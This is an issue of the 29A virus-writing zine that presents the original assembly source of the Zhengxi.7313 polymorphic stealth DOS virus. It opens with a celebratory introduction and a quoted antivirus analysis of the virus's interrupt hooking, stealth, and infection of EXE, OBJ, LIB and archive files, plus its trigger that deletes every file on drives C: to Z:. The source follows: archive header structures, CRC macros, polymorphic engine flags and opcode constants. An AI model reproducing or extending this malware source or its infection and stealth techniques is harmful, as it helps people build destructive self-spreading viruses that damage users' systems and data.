Copy Link
Add to Bookmark
Report

29A Issue 01 04 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Zhengxi.7313 ³Û
; ³ original source code ³Û
; ÀÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
;
;
; At last... the source of the most complex virus ever is published in a
; virus magazine. And we're glad that the fortunate magazine is 29A :) You
; are stepping with the reader cool smooth scroll through the original
; source code of the best of the three versions (7271, 7307, 7313) of Zhen-
; gxi. This source code, as the compiled version of the virus itself, is
; quite hard to understand. Anyway, i decided to leave the source code 'as
; is', albeit some weeks ago i started making it up a bit and commenting
; some uncommented code so it would be more easy and clear to read. At last
; i decided to stop spending my time on this and give you the *truly* ori-
; ginal source code, so you can know the way in which its author coded it,
; you can read the original comments (some of them in russian), and so on.
;
; The original source code is formed by some ASI, ASM and INC files, which
; make the virus compiling harder than the virus coding itself :) That's
; why i included a ZIP which contains the compiled version of Zhengxi.7313.
;
; I must give thanks to the author of this rocking virus because of the su-
; permarvel he coded and for releasing the original source code (btw, he
; seems to have a great sense of humour :), and to the friend who gave this
; jewel to me, who wishes to remain anonymous. As a last thing, for those
; who still don't know what does Zhengxi do (!), here's a very good report
; about the Zhengxi virus family, written by Eugene Kaspersky, who, btw,
; should use the money he earns with AVP for taking some english classes :)
;
;
; ÄÄ´ Zhengxi family ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; This is the family of very dangerous, polymorphic and stealth parasitic
; viruses. These viruses are more that 7k of length, very complex, maybe
; the most complex DOS viruses. These viruses infect EXE, OBJ and LIB fi-
; les, and append COM droppers to ZIP, ARJ, HA, and RAR archives. The viru-
; ses contain the text strings:
;
; Abnormal program termination
; The Virus/DOS 0.54 Copyright (c) 1995 Zhengxi Ltd
; Warning! This program for internal use only!
;
;
; Installation
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; The virus code receives the control from different points depending on
; the infection way, but in all cases the destination is the polymorphic
; decryption routine. In EXE files (appending) the decryption routine re-
; ceives the control immediately when EXE file is loaded into the memory
; for execution; in EXE files (inserting), from the loader code (see EXE
; infection); in the files linked with infected OBJ/LIB files, from a call
; instruction (see OBJ/LIB infection); the COM droppers have a jmp instruc-
; tion at their beginning, which brings the control to the decryption rou-
; tine.
;
; Being decrypted, the virus installation routines receives the control.
; The virus hooks int 1 (one step tracing), and traces int 21h. While tra-
; cing, the virus looks for some specific code within the int 21h handler
; (that code is present in DOS 5.x and DOS 6.x). If such code is found, the
; virus checks several conditions, and terminates installation in some ca-
; ses. These cases are the ones below:
;
; - Microsoft Windows is installed
; - Boot drive is A: or B:
; - Int 8, 13h, 28h point to the same segment (to exit installation if any
; antivirus monitor is installed?)
; - Host file's day (date and time stamp) is the same or near the current
; day (if the two highest bits of current day number xored with the file
; day is equal to zero)
;
; Then the virus allocates the block of the system memory for the virus TSR
; copy, stores in its body 11 bytes from the address of the int 21h handler
; and patches int 21h code with a far call instruction (2f ff 1e ?? ??),
; which brings the control to the int 25h handler (absolute disk read).
; Then the virus stores the first five bytes of int 25h handler and writes
; there other five bytes, which become the far jmp to the virus code. The
; result looks like follows:
;
; int 21h handler:
; ... ...
; ÚÄÄÄÄÄÄÄÄÄ 2e ff 1f ???? call far cs:int_25h
; ³ c7 06 ???? ; Magic word?
; ³ int_25h: ???? ???? ???? ???? ; Far addr of int 25h
; ³ ... ...
; ³
; À> int 25h handler:
; ÚÄÄÄÄÄÄÄÄÄ ea ???? ???? jmp far virus_handler
; ³ ... ...
; À> virus handler:
; 2e 8f 06 ... pop cs:caller_ip
; ... ...
;
; As result, the virus has the same handler to intercept both int 21h and
; int 25h calls. To separate these calls, Zhengxi checks the address of the
; caller (the caller_ip). If the call goes to the int 21h handler, the vi-
; rus passes the control to its int 21h handler routine; in another case,
; the virus int 25h handler receives the control.
;
; The installation routine is complete, but the virus can move its code to
; other memory blocks (see int 21h handler analysis). So, the TSR copy of
; the virus does not occupy the same blocks of the system memory, but may
; move itself to other addresses, including UMB ones.
;
; Then the virus returns the control to the host program. There are three
; different variants of such return, and they depend on the infection me-
; thod. In case of a COM dropper the virus just displays this message:
;
; Abnormal program termination
;
; And returns to DOS with the terminate function (int 21h, ah=4ch). In case
; of the EXE-appending infection method the virus restores the original fi-
; le header by using its polymorphic engine (generates the polymorphic de-
; cryption routine, and executes it for restoring the original header (see
; EXE infection below). In case of the EXE-inserting way the virus just re-
; turns to the host program because the virus loader inserted into the file
; restores the original code itself. In case of being an OBJ/LIB file the
; virus also just returns to the host (see OBJ/LIB infection below).
;
;
; Int 21h handler
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Zhengxi intercepts 18 int 21h functions:
;
; 3dh, 6ch - Open/create file
; 3eh - Close file
; 3fh - Read file
; 42h - Lseek
; 4bh - File execution
; 41h - Delete file
; 11h, 12h - Findfirst/findnext FCB
; 4eh, 4fh - Findfirst/findnext ASCII
; 00h, 4ch - Terminate
; 31h - Terminate and stay resident
; 67h - Set handle count
; 48h, 49h, 4ah - Memory managing functions (allocate, free, resize)
;
; The set handle count, file execution and memory managing functions are u-
; sed by the virus to hide its code into the system memory (Zhengxi manipu-
; lates MCB blocks to remain invisible on the memory map while using memory
; browsing utilities).
;
; While intercepting terminate, TSR and free memory DOS functions, Zhengxi
; moves its code to a new address in the system memory. The virus allocates
; a new memory block (may be a conventional or UMB memory block), and co-
; pies itself there. So, while installing, the virus does not affect UMB
; blocks to place its TSR copy, but then it may move into UMB, and hide it-
; self there.
;
; While file opening the virus performs several different calls. First, the
; virus checks the opening mode, and if the file is opened for writing, the
; virus disinfects the file.
;
; Before disinfection the virus checks the file is being accessed, and the
; program that is accessing that file (the caller). The virus compares the
; name of this program or caller with a name list (see below), and does not
; disinfect the accessed file if the caller name is found in that list.
;
; UUENCODE.EXE, PKLITE.EXE, LZEXE.EXE, NDD.EXE, DIET.EXE, AFD.EXE, SD.EXE
; SPEEDDSK.EXE, DEFRAG.EXE, TLINK.EXE, LINK.EXE
;
; In case of the ah=3d00h function (open read-only) the virus performs some
; strange actions. It scans the caller code and patches it. It looks like
; patching some antivirus scanner. Fortunately, the virus has a bug, and
; that branch is never executed.
;
; While opening the file, the virus also brings the control to its stealth
; routine: it replaces the file length with the original one.
;
; While reading from a file, Zhengxi calls the stealth routine. In case of
; reading from the header of the infected file the virus reads, decrypts
; and copies the original header into the reading buffer.
;
; In case of the lseek function the virus brings the control to other of
; its stealth routines: it doesn't allow to seek out of the original file
; length.
;
; While deleting an infected file, the virus disinfects it.
;
; While looking for files with findfirst/findnext, Zhengxi replaces the fi-
; le length with the original one if the file is infected.
;
; Findfirst/findnext ASCII calls are also used by the virus to catch files
; for infection. The virus saves the name of any file that is accessed with
; the findfirst function, and approximately each 5th file (with probability
; 3/16) accessed with the findnext function. The virus has only one buffer
; for the file name, so every next name overwrites the previous one.
;
; While closing any file the virus checks and infects it with the name that
; that is stored in the buffer. The virus also infects the file that is be-
; ing closed, but is does it with probability 1/4 (by the result of its
; random generator).
;
;
; Infection
; ÄÄÄÄÄÄÄÄÄ
; Before infecting a file, Zhengxi checks several conditions:
;
; - The file is not "just created", by comparing the current day number
; with the file date and time stamp (as while installing itself)
; - The file is local, and not on A: or B: drive
; - The file name is not *.?V? (*.OVL)
; - There is enough free disk space (it checks this with int 21h, ah=36h)
;
; If all this is ok, the virus reads the file header and checks it for EXE,
; OBJ, LIB and archives stamps.
;
;
; Infecting EXE files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Zhengxi infects EXE files by using three different infection methods:
; appending, inserting, and infecting archives in self-extracting files.
;
; At first, the virus checks the file structure, and if it is a self-ex-
; tracting EXE file (created by ZIP2EXE, for instance), Zhengxi infects it
; using the same method it uses when infecting archives (ZIP, ARJ, HA, RAR)
; that is, creating a COM dropper and adding it to the archive contents.
;
; Then the virus checks the file length, and doesn't infect files with a
; length lesser than 400h (1024) bytes. If the length of the loadable modu-
; dule (note: not the file length) is larger that 32k, Zhengxi inserts its
; own loader int the middle of the file. In other case, it infects the file
; by the appending method.
;
; While infecting files by the appending method, Zhengxi reads file header,
; encrypts and saves it to the end of the file. Then it runs its polymor-
; phic generator, and saves the encrypted virus body and the polymorphic
; loops to the end of the file. For finishing the file infection, Zhengxi
; increases the file length to a value that divided by 9dh gives 25h as
; rest (this is the virus ID stamp, its infection mark), and modifies the
; EXE header fields (registers and module length).
;
; Note: Zhengxi encrypts the original host header with the polymorphic en-
; cryption loop, and that loop is different that the routine it uses for
; encrypting the virus body. Then, the virus calls its polymorphic engine
; twice: while encrypting the original EXE header, and while encrypting the
; main body.
;
; While executing an infected EXE file, the decryption loop restores the
; main virus body, but not original file header. To return to the host, the
; virus has to decrypt the host data, but the engine generates random loops
; with random selected encryption functions. To solve that problem, Zhengxi
; stores the initial random generator values while encrypting the host da-
; ta, and runs the polymorphic generator with the same values while decryp-
; ting those data. As result, the generator brings the same code which was
; used for encrypting the host header, and being executed, that routine de-
; crypts it.
;
;
; Infecting EXE Files (inserting)
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; If the file length is above 32k, the virus seeks to the beginning of the
; EXE main module (just after EXE header), reads 6k of code, and looks for
; C/Pascal routines there. Usually C/Pascal routines begin from the same
; "header" that saves the BP register, and moves the stack pointer to BP.
;
; Zhengxi scans the code for those "headers" and, if such code is found,
; the virus scans the next 54h bytes of code for a ret or a call far ins-
; truction to prevent an overlap of the next subroutine, or relocated ad-
; dress. If such code (ret or call far) is found, the virus exits from its
; infection routine.
;
; Then the virus reads 54h bytes of that routine, overwrites it with the
; code of its loader, and then encrypts the main virus body with its poly-
; morphic engine, and saves it to the end of the file. Then Zhengxi en-
; crypts with a simple sub function the original subroutine code and the
; second part of the loader, and saves it to the end of the file. Then the
; virus writes the random data to the end of the file in the same way as
; in the "appending" infection method.
;
; Not infected Infected
; ÄÄÄÄÄÄÄÄÄÄÄÄ ÄÄÄÄÄÄÄÄ
; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³EXE header ³ ³EXE header ³
; ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
; ³Main EXE code ³ ³Main EXE code ³
; Ã--------------´ Ã--------------´
; ³C/Pascal subr ÃÄÄ¿ ³Virus loader ³ Part 1, 52h bytes, not encrypted
; Ã--------------´ ³ Ã--------------´
; ³ ³ ³ ³Main EXE code ³
; ³ ³ ³ ³(continued) ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´
; ³ ³Virus ³ Encrypted with polymorphic loops
; ³ Ã--------------´
; ³ ³Virus loader ³ Part 2, encrypted with sub
; ³ Ã--------------´ 70h bytes
; ÀÄ>³Saved code ³ Original code of the patched subr,
; Ã--------------´ 52h bytes, encrypted with sub
; ³Random data ³ File length/9dh, the rest is 25h
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;
; Being executed, the loader looks for the host file name by using the PSP
; fields, opens the file, seeks to the file end, then reads, decrypts and
; executes the second part of the dropper. This part restores the patched
; subroutine, allocates system memory (conventional or UMB), reads the main
; virus body, and passes the control to the decryption polymorphic loop.
; That loop decrypts the virus body, and passes the control to Zhengxi's
; installation routine.
;
; This is a very insidious infection way. The virus code is hidden in the
; file, and there is no direct entry to the virus code from the file head-
; er. The subroutine replaced with virus loader may be a "seldom-executed"
; one. For instance, a subroutine which displays an error message. So the
; virus may "sleep" in such files for a long time, and then jump out and
; infect the system under some limited conditions.
;
;
; Infecting archives
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; In case of having to infect an archive, Zhengxi builds in memory the in-
; fected COM dropper image, and appends it to the archive. Those COM drop-
; pers always begin with a jmp instruction followed by random data, the en-
; crypted virus code and the decryption polymorphic loop. The jmp instruc-
; tion brings the control to this decryption loop.
;
; The name of the COM dropper is random selected and finished with a .COM
; extension, for instance:
;
; HAIF.COM, UCM.COM, DOO.COM, VLG.COM, and so on.
;
; While processing the archive fields, Zhengxi does not use any external u-
; tility, but fills by itself all the necessary fields. The virus does not
; pack the dropper: it uses the "stored" method (the virus is stored in the
; archive "as is"). While infecting, Zhengxi checks the contents of the ar-
; chives, and does not infect them twice.
;
;
; Infecting OBJ and LIB files
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; While infecting OBJ/LIB modules, Zhengxi checks the fields of the file,
; creates, and inserts there a new object record which contains the viral
; code, encrypted with two polymorphic loops.
;
; While scanning object files, the virus checks the code of these files for
; a C/Pascal subroutine "header" as well as while inserting into EXE files,
; and infects the files only if that code is found. But if the OBJ or the
; LIB module doesn't contain such code, the virus does not drop the loader
; code there, but overwrites a C/Pascal header with a call instruction.
;
; Being linked to an executable file, that call brings the control to the
; virus polymorphic decryption loop. That loop decrypts the viral code and
; passes the control to the virus installation routine.
;
; As well as in EXE files (inserting), that call may never receive the con-
; trol, so Zhengxi may sleep for a long time. But under some conditions the
; virus may jump out and infect the system.
;
;
; Int 25h handler
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; This handler carries out the stealth routine on int 25h level. While ac-
; cessing to the directory entries, the virus substitutes the file length
; with the original one. While reading the header of an infected file, the
; virus restores and brings it in its original form.
;
; The virus doesn't stealth 100% on int 25h level, of course. There are se-
; veral ways to bypass this stealth routine. But if some antivirus program
; reads the file contents via int 21h DOS functions, then it reads the di-
; rectory structure and then the file contents by absolute int 25h calls,
; and Zhengxi remains completely invisible.
;
;
; Trigger routine
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; If while processing a ZIP file Zhengxi finds some record packed with the
; "stored" method, it checks the ZIP file date and time stamp. If the year
; of last modification of that file is 1996 or above, Zhengxi will look for
; all the files of all the directories on all the disks (from C: till Z:),
; and delete them (the files and whole subdirectory tree).
;
; ÄÄ´ Zhengxi code ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Structure of archive block (low order byte first):
arj_hdr_struc struc
arj_header_id dw ? ; 0;=EA60 2 header id (comment and local
; file) = 0xEA60 or 60000U
arj_bas_hdr_size dw ? ; 2;=28 ? 2 basic header size (from
; 'first_hdr_size' thru 'comment' below)
;= first_hdr_size + strlen(filename) + 1
;+ strlen(comment) + 1
;= 0 if end of archive
arj_first_hdr_size db ? ; 4;1E 1 first_hdr_size (up to extra data)
arj_ver_num db ? ; 5;06 1 archiver version number
arj_min_ver db ? ; 6;01 1 min. archiver version to xtract
arj_host_OS db ? ; 7;00 1 host OS (0 = MSDOS, 1 = PRIMOS,
; 2 = UNIX, 3 = AMIGA, 4 = MACDOS)
arj_flags db ? ; 8;10 1 arj flags (0x01 = GARBLED_FLAG)
; indicates passworded file
; ; (0x02 = RESERVED)
; ; v- no inf.vol.files, detect it as already
; ; (0x04 = VOLUME_FLAG) indicates continued
; file to next volume
; ; (0x08 = EXTFILE_FLAG) indicates file
; starting position field
; ; (0x10 = PATHSYM_FLAG) path translated
arj_compres_method db ? ; 9;00 1 method (0 = stored, 1 = compressed
; most ... 4 compressed fastest)
arj_file_type db ? ; A;00 1 file type (0 = binary, 1 = text
; 2 = comment header)
arj_reserved db ? ; B;'Z' 1 reserved
arj_file_time dw ? ; C; 4 date time stamp modified
arj_file_date dw ? ; E; 4 date time stamp modified

arj_compressed_size dd ? ;10; 4 compressed size
arj_original_size dd ? ;14; 4 original size
arj_CRC32 dd ? ;18; 4 original file's CRC
arj_entryname_pos dw ? ;1C;0 2 entryname position in filename
arj_file_access_mode dw ? ;1E;0 2 file access mode
arj_host_data dw ? ;20;0 2 host data (currently not used)
;22;
; ? filename (null-terminated)
; ? comment (null-terminated)
; 4 basic header CRC
; 2 1st extended header size (0 if none) = 0

; ? compressed file
ends

ha_main struc
hasign db 'HA'
filecnt dw ?
ends

ha_file_hdr struc
ha_ver_method db 20h ; 0
ha_compress_size dd ? ; 2
ha_original_size dd ? ; 6
ha_CRC32 dd ? ; A
ha_file_time dw ? ; E
ha_file_date dw ? ; 10
ha_path dw ? ; '/', '.', '+' ; 12 db
ends ; 14
ha_name equ ha_path+size ha_path
;+1 name
;+n 00h
;+1 length of machine specific information
;+1 machine specific information
;2,1,20

;machine specific information :

;0000 type
;0001 information

rar_main_hdr struc
rar_head_crc dw ?
rar_head_type db 73h
rar_head_flags dw ?
; 0x01 - Volume attribute (archive volume)
; 0x02 - Archive comment present
; 0x04 - Archive lock attribute
; 0x08 - Solid attribute (solid archive)
; 0x10 - Unused
; 0x20 - Authenticity information present
rar_head_size dw ?
rar_reserved1 dw ?
rar_reserved2 dd ?
ends
;Comment block present if (HEAD_FLAGS & 0x02) != 0

rar_file_hdr struc
rar_f_head_crc dw ? ; 0
rar_f_head_type db 74h ; 2
rar_f_head_flags dw ? ; 3
; 0x01 - file continued from previous volume
; 0x02 - file continued in next volume
; 0x04 - file encrypted with password
; 0x08 - file comment present
; (HEAD_FLAGS & 0x8000) == 1, because full
; block size is HEAD_SIZE + PACK_SIZE
rar_f_head_size dw ? ; 5
rar_compressed_size dd ? ; 7
rar_original_size dd ? ; B
rar_host_os db 0 ; F
rar_crc32 dd ? ;10
rar_file_time dw ? ;14
rar_file_date dw ? ;16
rar_req_ver db 15d ;18
rar_method db 30h ;19
rar_fname_size dw ? ;1A
rar_file_attrib dd ? ;1C
ends ;20
;FILE_NAME File name - string of NAME_LEN bytes size
;Comment block present if (HEAD_FLAGS & 0x08) != 0
;???? Other extra included blocks - reserved for future use



zip_local_header struc
zip_loc_sign db 'PK' ; 0
zip_ver_ned_to_extr dw ? ; 4

zip_flags dw ? ; 6
zip_compression_method dw ? ; 8
zip_file_time dw ? ; A
zip_file_date dw ? ; C

zip_crc_32 dd ? ; E
zip_compressed_size dd ? ; 12
zip_uncompressed_size dd ? ; 16
zip_size_fname dw ? ; 1A
zip_extra_field_length dw ? ; 1C
ends ; 1E
; filename (variable size)
; extra field (variable size)
zip_central_header struc
zip_centr_sign_ db 'PK' ; 0
zip_ver_made_by_ dw ? ; 4
zip_ver_ned_to_extr_ dw ? ; 6
zip_flags_ dw ? ; 8
zip_compression_method_ dw ? ; A
zip_file_time_ dw ? ; C
zip_file_date_ dw ? ; E
zip_crc_32_ dd ? ; 10
zip_compressed_size_ dd ? ; 14
zip_uncompressed_size_ dd ? ; 18
zip_size_fname_ dw ? ; 1C
zip_extra_field_length_ dw ? ; 1E
zip_file_comment_length_ dw ? ; 20
zip_disk_number_start_ dw ? ; 22
zip_intrnl_file_attr_ dw ? ; 24
zip_extrnl_file_attr_ dd ? ; 26
zip_rel_off_of_loc_hdr_ dd ? ; 2A
ends ; 2E
; filename (variable size)
; extra field (variable size)
; file comment (variable size)

zip_end_header struc
end_file_hdr_sign db 'PK' ; 0
num_of_this_disk dw ? ; 4
num_of_the_start_disk dw ? ; 6
ttl_num_of_ent_on_this_disk dw ? ; 8
ttl_num_of_ent_in_the_cent_dir dw ? ; A
size_of_the_central_directory dd ? ; C
off_of_strt_of_cent_directory dd ? ; 10
zipfile_comment_length dw ? ; 14
ends ; 16
; zipfile comment (variable size)


seg_attr RECORD SA_A:3, SA_C:3, SA_B:1, SA_P:1

MODEND = 08Ah
SEGDEF = 098h
FIXUPP = 09Ch
LEDATA = 0A0h
;extrn dosseek_cx_0:near
objrec struc
rectype db ?
recsize dw ?
UNION
STRUC
segattr db ?
segsize dw ?
ENDS
STRUC
dataidx db ?
dataorg dw ?
ENDS
ENDS
ENDS


LIB_DICTIONARY_ENTRY_SIZE = 200h
lib_hdr struc
lib_hdr_type db 0F0h
lib_hdr_recsize dw ?
lib_hdr_dict_offs dd ?
lib_hdr_dict_size dw ?
lib_hdr_flags db ?
lib_hdr_padding db 10h-lib_hdr_padding dup (?)
ends

;;MRORW MACRO w1, shval
;;PUSHSTATE
;;.386
;; dw ((w1 and 0FFFFh) shr (shval and 0Fh)) or ((w1 and 0FFFFh) shl
;; (10h-(shval and 0Fh)))
;;POPSTATE
;;ENDM


CRC32w MACRO moreshit
PUSHSTATE
.386
LOCAL cum_crc, byt, suxx
cum_crc = 0FFFFFFFFh
IRP _byt, <moreshit>
byt = _byt xor (cum_crc and 0FFh)
cum_crc = (cum_crc shr 8) and 0FFFFFFh
REPT 8
IF byt and 1
byt = (byt shr 1) xor 0EDB88320H
ELSE
byt = byt shr 1
ENDIF
ENDM
cum_crc = cum_crc xor byt
ENDM
cum_crc = not cum_crc

suxx = (((cum_crc shr 16) and 0FFFFh) shr (cum_crc and 0Fh)) or \
(((cum_crc shr 16) and 0FFFFh) shl (10h-(cum_crc and 0Fh)))

suxx = (suxx + cum_crc) and 0FFFFh ; add dx, cx
dw suxx
POPSTATE
ENDM

cmp_ax_CRC32w MACRO moreshit
db 3Dh
CRC32w <moreshit>
ENDM

.286
%NOINCL
%NOSYMS
.SFCOND
.XCREF
.SALL

locals
USE_PUSHA equ 0
;RELIZ equ 0
;USE_BEEP equ 0

$BEEP$ macro
IFDEF USE_BEEP
extrn beep:near
call beep
ENDIF
endm
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
INCLUDE SF.INC ;\
INCLUDE FIND.INC ;|
INCLUDE EXE.INC ;> ¨§ ¨á室­¨ª®¢ MS-DOS 3.30
INCLUDE PDB.INC ;|
INCLUDE DPB.INC ;|
INCLUDE DIRENT.INC ;|
INCLUDE ARENA.INC ;/
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
INCLUDE STAR14T.INC
INCLUDE ABSDISK.INC
INCLUDE ARXHDRS.ASI
INCLUDE SHMAC.INC
INCLUDE CRC.ASI
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
GLOBAL RND_INIT:near, \
RND_GET:near, \ randomizer
RND_GET_THREE_BITS:near, \
RND_GET_BYTE:near
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
RegWord ENUM R_AX, R_CX, R_DX, R_BX, R_SP, R_BP, R_SI, R_DI
RegByte ENUM R_AL, R_CL, R_DL, R_BL, R_AH, R_CH, R_DH, R_BH

secondbyte RECORD M0D:2, REG:3, R_M:3

asgrbl RECORD N :1, \
REG_GARBL3 :1, \ ॣ¨áâàë
REG_GARBL2 :1, \ ­¥ ¨á¯®«ì§ã¥¬ë¥
REG_GARBL1 :1, \ ¤«ï à áè¨ä஢ª¨
REG_TMP2 :1, \ ¤«ï ª®­áâ ­â
REG_TMP1 :1, \
REG_ENC :1, \
REG_INDEX :1 ; 㪠§ â¥«ì ­  è¨äà㥬®¥ á«®¢®

REG_GARBL_ALL = MASK REG_GARBL1 or \ ॣ¨áâàë
MASK REG_GARBL2 or \ ­¥ ¨á¯®«ì§ã¥¬ë¥
MASK REG_GARBL3 ; ¤«ï à áè¨ä஢ª¨
REG_ENC_ALL = MASK REG_ENC or \ ॣ¨áâàë
MASK REG_TMP1 or \ ¨á¯®«ì§ã¥¬ë¥
MASK REG_TMP2 ; ¤«ï à áè¨ä஢ª¨
REG_ALL = MASK REG_INDEX or \ ¢á¥ ॣ¨áâàë (ªà®¬¥ SP)
REG_ENC_ALL or \
REG_GARBL_ALL ;
;ÄcurrentÄnotÄusedÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ENFLAGS RECORD EN_SAVE_REGS :1, \ á®åà ­ïâì ॣ¨áâàë ¯¥à¥¤ à áè¨ä஢ª®©
EN_USE_INT :1, \ ¥­ª®¤¨âì ¯à¥à뢠­¨ï
EN_USE_CALL :1, \ ¥­ª®¤¨âì ¯à®æ¥¤ãàë ¨ JMP near
EN_USE_JMPS :1, \ ¥­ª®¤¨âì ãá«®¢­ë¥ ¯¥à¥å®¤ë
EN_INT_GARBL :1, \ ¬ «® «¥¢ëå ¨­áâàãªæ¨© ¢ à áè¨ä஢騪¥
EN_RELOCATOR :1, \ ®¯à¥¤¥«ïâì ᢮¥ ¯®«®¦¥­¨¥ ¢ ¯ ¬ïâ¨
EN_BFR_GARBL :2
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

ENFLAGS_ARX = MASK EN_RELOCATOR or \
MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ä« £¨ ¤«ï ¢¨àãá  ¢ EXEä ©«¥
ENFLAGS_EXE = MASK EN_USE_INT or \
MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
(3 shl EN_BFR_GARBL) ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ENFLAGS_HDR = MASK EN_INT_GARBL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ä« £¨ ¤«ï ¢¨àãá  ¢ EXEä ©«¥ c podgruzkoi
ENFLAGS_IXE = MASK EN_USE_JMPS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
MASK EN_SAVE_REGS or \
(2 shl EN_BFR_GARBL) ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ä« £¨ ¤«ï ¢¨àãá  ¢ OBJä ©«¥
ENFLAGS_OBJ = MASK EN_INT_GARBL or \
MASK EN_SAVE_REGS or \
MASK EN_USE_CALL or \
MASK EN_RELOCATOR or \
(1 shl EN_BFR_GARBL) ;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;ä« £¨ ¤«ï ¢¨àãá  ¢ OBJä ©«¥
;ENFLAGS_OBJ = MASK EN_INT_GARBL or \
; MASK EN_SAVE_REGS or \
; MASK EN_RELOCATOR
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;®¯ª®¤ë
opNOP equ 90h
opPUSHF equ 9Ch
opINT equ 0CDh
opCALL equ 0E8h
opJMPN equ 0E9h
opJMPS equ 0EBh
opSEGCS equ 2Eh
opSEGES equ 26h
opRETN equ 0C3h
opRETF equ 0CBh
